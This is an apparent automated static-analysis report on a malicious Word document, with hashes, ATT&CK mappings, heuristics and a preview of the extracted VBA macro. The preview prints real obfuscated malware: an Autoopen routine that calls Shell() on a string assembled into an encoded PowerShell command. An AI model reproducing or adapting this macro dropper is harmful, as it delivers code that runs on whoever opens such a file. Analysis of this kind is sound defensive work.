Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1712c2a61bba4e05…

MALICIOUS

Office (OLE)

104.5 KB Created: 2018-06-07 12:31:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: 4d8bc40aa5d6b307c940516a43371e76 SHA-1: 66f913d3b73fcbb18e58d8a10c427e2cf885db48 SHA-256: 1712c2a61bba4e05a1b2bbbfec3c5eef8f0fd66289d3f83fb8bcc7aac0f57a2d
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample contains a VBA macro with an Autoopen function, which is a common technique for executing malicious code upon opening the document. The critical heuristic firing for Shell() call in VBA indicates that the macro attempts to execute an external command. The script attempts to construct a command string, but it is heavily obfuscated and truncated, making it impossible to determine the exact payload or destination. Therefore, the family is unknown, and confidence is reduced.

Heuristics 6

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11150 bytes
SHA-256: c9e2914a08625673da5590f498a8c9aa3d42286b3126c2b24a1d875db1a5a391
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "JEJiMOkwlw"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function UAEGdc()
On Error Resume Next
PLLUh = Tan(BSHiP _
* Tan(jNOWM * Int(WEYKw * Sqr(38056) / FpoQB + Fix(47641)) / 52620 * Round(24630 / Log(25352 - wbWTn) + 11868 - STCWi)) _
/ 15883 + Log(5196))
KnnYz = Tan(Prwci _
* Tan(CFJnq * Int(vSvpo * Sqr(67651) / AscRBa + Fix(64249)) / 72790 * Round(18392 / Log(82801 - noPNhk) + 51543 - EtUMKO)) _
/ 60690 + Log(22095))
UAEGdc = sAtLr + Shell(IHGNNUuBBX + Chr(DfYKiz + vbKeyP + VRHzfZm) + aQIksruGT + mtskklTjMNB + CCSrA + VajmBnbEKjn + iBIpsE, 55596 - 55596)
kLUzE = Tan(wNmZu _
* Tan(BbsOX * Int(CDilKP * Sqr(93771) / FjjSDW + Fix(28579)) / 39361 * Round(2979 / Log(96300 - mjPTA) + 89481 - jpCSb)) _
/ 94558 + Log(73872))
End Function
Sub Autoopen()
On Error Resume Next
dIizA = Tan(CZTQj _
* Tan(WYnhZ * Int(slQmji * Sqr(82006) / iHcnEj + Fix(61194)) / 77994 * Round(85644 / Log(12803 - CzQkKv) + 6933 - aoHBV)) _
/ 85897 + Log(63424))
UAEGdc
AwqYw = Tan(BWuzj _
* Tan(zohjj * Int(XzcBGr * Sqr(61492) / QLbFG + Fix(89604)) / 44842 * Round(59231 / Log(59639 - Bistwt) + 79220 - OrVlG)) _
/ 52929 + Log(40948))
End Sub



Attribute VB_Name = "Vjbzszshrpv"
Function aQIksruGT()
On Error Resume Next
tWsDR = Tan(VXBow _
* Tan(NWChE * Int(drKwj * Sqr(52804) / TrEwz + Fix(12592)) / 68338 * Round(48023 / Log(19723 - tFdFO) + 19736 - YHjJE)) _
/ 876 + Log(37312))
hjKYw = "owers" + "HeLL " + "-e KAAgA" + "E4ARQB3" + "AC0ATwB"
VVsjz = Tan(qRlwSQ _
* Tan(ChMAD * Int(IbawP * Sqr(63969) / YZrIOq + Fix(71025)) / 96420 * Round(58661 / Log(71929 - pMRDos) + 14182 - toWZWJ)) _
/ 1439 + Log(84828))
mwZiTEvvnT = "iAGoAZQB" + "DAFQAIABpA" + "E8ALgBzAHQ" + "AUgB" + "lAEEAbQBSAE" + "UAQ" + "QBEAGUAUgAoACA" + "AKAAgAE4ARQB3" + "AC0" + "AT"
ZuWcC = Tan(YQZcj _
* Tan(faXwVL * Int(qFmhrT * Sqr(76610) / BzUzN + Fix(97273)) / 50273 * Round(48334 / Log(69369 - OnMsm) + 29438 - XTNNw)) _
/ 56608 + Log(1976))
CUMLD = "wB" + "iAGoAZQBDAFQ" + "AIAAgAGkATwAu" + "AEMATwBNAFAA"
KBFmMf = Tan(OsXRE _
* Tan(VdFBnh * Int(XizSX * Sqr(34155) / AauCW + Fix(38344)) / 3121 * Round(7298 / Log(94444 - mXjFZ) + 38463 - VKnCq)) _
/ 14936 + Log(22598))
pBGihKDKCi = "cgBlA" + "HMAcwBJAG8ATg" + "AuA" + "EQARQBGAEwAQQB" + "UAGUAc" + "wB0AFIARQBhAE0" + "AKABbAFMA" + "WQBzAFQ"
wtafD = Tan(OuLInz _
* Tan(vkbRj * Int(OQzBwK * Sqr(54450) / MiRKSi + Fix(84014)) / 49940 * Round(50535 / Log(52106 - thYcY) + 94717 - WBZaLk)) _
/ 18746 + Log(43291))
oSjGYmwLjB = "ARQBNAC4Aa" + "QB" + "PAC4ATQBFAG0Ab" + "wByAH" + "kAcwB0AHIAZQBhA" + "G0AXQBbAE" + "MATwBuAFYAZ" + "QByAFQAXQ"
vwrcVb = Tan(BQuzVP _
* Tan(VKAtmD * Int(nYEMob * Sqr(45356) / ShAwlw + Fix(52411)) / 66167 * Round(97741 / Log(4824 - rWMiz) + 30562 - YEQLq)) _
/ 44044 + Log(35994))
fPwMuMUzwwS = "A6ADoAZgBSAG8" + "ATQBiAEEA" + "cwBlADYANA" + "BzAHQA" + "UgBpAG4A"
aQIksruGT = hjKYw + mwZiTEvvnT + CUMLD + pBGihKDKCi + oSjGYmwLjB + fPwMuMUzwwS
End Function
Function mtskklTjMNB()
On Error Resume Next
HZnPh = Tan(SPzMz _
* Tan(djubB * Int(ULUauF * Sqr(94372) / CTWGqd + Fix(56394)) / 60854 * Round(78280 / Log(2684 - jVSZGO) + 33637 - qisKo)) _
/ 19793 + Log(98052))
MjJzzQjfnLq = "ZwAoAC" + "AAJwBYAFoAQgB" + "kA" + "FQAOABJAHcAR"
Gmhfi = Tan(Azwtq _
* Tan(Twzrs * Int(RWCmNL * Sqr(55650) / GCKIh + Fix(93656)) / 84208 * Round(52986 / Log(43425 - HVMRUU) + 51648 - Yviuj)) _
/ 1578 + Log(33820))
rrVQLmsFawQ = "gBJAGIALwBTAG" + "kAKw" + "BXAE" + "QAS" + "wBLADA" + "AZwBzAFEAbw" + "BpADQAawBp" + "AG8ATQBhAGgAR" + "QBCAEMA"
sczUY = Tan(CfLzm _
* Tan(LtirZD * Int(WTABiL * Sqr(595) / hUMWJr + Fix(50747)) / 8234 * Round(28979 / Log(53824 - VmThF) + 44394 - kBiQqV)) _
/ 55478 + Log(32768))
RNVGQRHSnw = "TQBNAF" + "QA" + "RgB" + "kAGQAO" + "ABhA" + "EsAVwA3AH" + "QAMABoADIAMQB" + "JA" + "CsATwA4AFcAUQBT"
nrbRJY = Tan(UKzbdw _
* Tan(pPPXiz * Int(muiAa * Sqr(97312) / 
... (truncated)

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